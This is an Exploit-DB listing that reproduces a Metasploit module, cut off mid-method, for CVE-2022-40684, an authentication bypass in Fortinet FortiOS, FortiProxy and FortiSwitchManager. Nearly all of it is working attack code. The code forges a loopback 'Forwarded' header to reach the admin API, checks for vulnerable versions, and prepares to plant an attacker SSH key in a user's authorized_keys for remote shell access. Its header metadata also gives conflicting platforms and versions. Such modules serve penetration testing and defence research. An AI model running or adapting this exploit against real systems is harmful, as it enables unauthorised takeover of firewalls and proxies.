Exploit-DB #52239
Description: Fortinet FortiOS_ FortiProxy_ and FortiSwitchManager 7.2.0 - Authentication bypass
Type: remote
Platform: windows
Date: 2025-04-16
Author: ub3rsick

Exploit:
# Exploit Title: Fortinet FortiOS, FortiProxy, and FortiSwitchManager 7.2.0 - Authentication bypass
# Date: 2022-10-10
# Exploit Author: Zach Hanley, SC
# Vendor Homepage: https://www.fortinet.com
# Version: 7.0.0
# Tested on: Linux
# CVE : CVE-2022-40684


##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::SSH
  prepend Msf::Exploit::Remote::AutoCheck

  attr_accessor :ssh_socket
  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiOS, FortiProxy, and FortiSwitchManager authentication bypass.',
        'Description' => %q{
          This module exploits an authentication bypass vulnerability
          in the Fortinet FortiOS, FortiProxy, and FortiSwitchManager API
          to gain access to a chosen account. And then add a SSH key to the
          authorized_keys file of the chosen account, allowing
          to login to the system with the chosen account.

          Successful exploitation results in remote code execution.
        },
        'Author' => [
          'Heyder Andrade <@HeyderAndrade>', # Metasploit module
          'Zach Hanley <@hacks_zach>', # PoC
        ],
        'References' => [
          ['CVE', '2022-40684'],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-22-377'],
          ['URL', 'https://www.horizon3.ai/fortios-fortiproxy-and-fortiswitchmanager-authentication-bypass-technical-deep-dive-cve-2022-40684'],
        ],
        'License' => MSF_LICENSE,
        'DisclosureDate' => '2022-10-10', # Vendor advisory
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Privileged' => true,
        'Targets' => [
          [
            'FortiOS',
            {
              'DefaultOptions' => {
                'PAYLOAD' => 'generic/ssh/interact'
              },
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'ssh_interact'
                }
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK # SSH key is added to authorized_keys file
          ]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to the Fortinet CMDB API', '/api/v2/cmdb/']),
        OptString.new('USERNAME', [false, 'Target username (Default: auto-detect)', nil]),
        OptString.new('PRIVATE_KEY', [false, 'SSH private key file path', nil]),
        OptString.new('KEY_PASS', [false, 'SSH private key password', nil]),
        OptString.new('SSH_RPORT', [true, 'SSH port to connect to', 22]),
        OptBool.new('PREFER_ADMIN', [false, 'Prefer to use the admin user if one is detected', true])
      ]
    )
  end


  def username
    if datastore['USERNAME']
      @username ||= datastore['USERNAME']
    else
      @username ||= detect_username
    end
  end

  def ssh_rport
    datastore['SSH_RPORT']
  end

  def current_keys
    @current_keys ||= read_keys
  end

  def ssh_keygen
    # ssh-keygen -t rsa -m PEM -f `openssl rand -hex 8`
    if datastore['PRIVATE_KEY']
      @ssh_keygen ||= Net::SSH::KeyFactory.load_data_private_key(
        File.read(datastore['PRIVATE_KEY']),
        datastore['KEY_PASS'],
        datastore['PRIVATE_KEY']
      )
    else
      @ssh_keygen ||= OpenSSL::PKey::EC.generate('prime256v1')
    end
  end

  def ssh_private_key
    ssh_keygen.to_pem
  end

  def ssh_pubkey
    Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
  end

  def authorized_keys
    pubkey = Rex::Text.encode_base64(ssh_keygen.public_key.to_blob)
    "#{ssh_keygen.ssh_type} #{pubkey} #{username}@localhost"
  end

  def fortinet_request(params = {})
    send_request_cgi(
      {
        'ctype' => 'application/json',
        'agent' => 'Report Runner',
        'headers' => {
          'Forwarded' => "for=\"[127.0.0.1]:#{rand(1024..65535)}\";by=\"[127.0.0.1]:#{rand(1024..65535)}\""
        }
      }.merge(params)
    )
  end

  def check
    vprint_status("Checking #{datastore['RHOST']}:#{datastore['RPORT']}")
    # a normal request to the API should return a 401
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, Rex::Text.rand_text_alpha_lower(6)),
      'ctype' => 'application/json'
    })

    return CheckCode::Unknown('Target did not respond to check.') unless res
    return CheckCode::Safe('Target seems not affected by this vulnerability.') unless res.code == 401

    # Trying to bypasss the authentication and get the sshkey from the current targeted user it should return a 200 if vulnerable
    res = fortinet_request({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/system/status')
    })

    return CheckCode::Safe unless res&.code == 200

    version = res.get_json_document['version']

    print_good("Target is running the version #{version}, which is vulnerable.")

    Socket.tcp(rhost, ssh_rport, connect_timeout: datastore['SSH_TIMEOUT']) { |sock| return CheckCode::Safe('However SSH is not open, so adding a ssh key wouldn\t give you access to the host.') unless sock }

    CheckCode::Vulnerable('And SSH is running which makes it exploitable.')
  end

  def cleanup
    return unless ssh_socket

    # it assumes our key is the last one and set it to a random text. The API didn't respond to DELETE method
    d